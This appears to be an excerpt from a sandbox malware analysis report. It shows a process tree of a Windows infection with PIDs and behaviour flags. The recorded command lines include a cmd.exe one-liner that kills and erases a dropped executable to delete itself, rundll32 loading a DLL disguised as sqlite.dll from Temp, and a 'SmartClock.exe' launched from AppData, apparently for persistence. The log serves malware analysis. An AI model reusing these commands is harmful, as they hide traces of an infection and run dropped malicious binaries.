C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue19150ee2be694c8a4.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19150ee2be694c8a4.exe" & exit2⤵PID:1880
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue19150ee2be694c8a4.exe" /f3⤵
- Kills process with taskkill
PID:708
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2092 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:4452
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:4304
-
C:\Users\Admin\AppData\Local\Temp\1FDE.exeC:\Users\Admin\AppData\Local\Temp\1FDE.exe1⤵PID:5852
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"2⤵PID:6984
-